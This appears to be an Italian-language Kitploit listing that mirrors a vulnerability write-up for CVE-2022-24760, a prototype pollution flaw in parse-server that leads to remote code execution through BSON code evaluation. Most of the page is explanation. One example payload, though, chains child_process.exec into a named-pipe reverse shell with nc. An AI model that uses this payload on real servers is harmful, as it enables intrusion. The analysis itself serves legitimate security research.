Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-24760 | Kitploit
Strumenti/GitHubGitHub/tuo4n8/cve-2022-24760
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni Web
GitHubtuo4n8/cve-2022-24760

CVE-2022-24760

Vedi Repository
14 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-24760


Flusso

image-20220331114046018

image-20220331114258164

  • Di default non è necessaria una chiave per aggiungere, eliminare o modificare le classi nel db

image-20220331115258271


Diff del commit

https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

image-20220331132344135

  • La prototype pollution avviene nella funzione expandResultOnKeyPath
root@kitploit:~
DatabaseController.js
	sanitizeDatabaseResult
		-> expandResultOnKeyPath
  • sanitizeDatabaseResult viene usato quando si aggiunge (add) o si aggiorna (update) una nuova classe. Tuttavia, perché la prototype pollution sia possibile, deve essere soddisfatta la condizione che la keyUpdate __op appartenga a ['Add', 'AddUnique', 'Remove', 'Increment']

  • Pertanto, i valori del prototipo possono essere solo array o number

    • image-20220331132813075
    • image-20220331132823843
  • Esempio di richiesta:

image-20220331133133587

Sink exploit per RCE

  • Prima di salvare i dati nel DB, il flusso di dati viene passato attraverso serialize della libreria BSON; quando _bsontype è Code, viene eseguito serializeCode

image-20220331133328243

​ parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762

  • Successivamente, i dati vengono deserializzati per essere manipolati fino a raggiungere il sink:

image-20220331145339371

image-20220331145403962

image-20220331145421339

  • Si usa la prototype pollution per inquinare options['evalFunctions'] -> bypass fino alla funzione isolateEval
  • Payload di esempio
root@kitploit:~
"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"
  • Poiché il flusso di esecuzione della funzione expandResultOnKeyPath arriva dopo la deserializzazione, è necessario eseguire ripetutamente la race condition affinché possa essere innescata quando si arriva a isolateEval

image-20220331145825647

Scarica lo strumento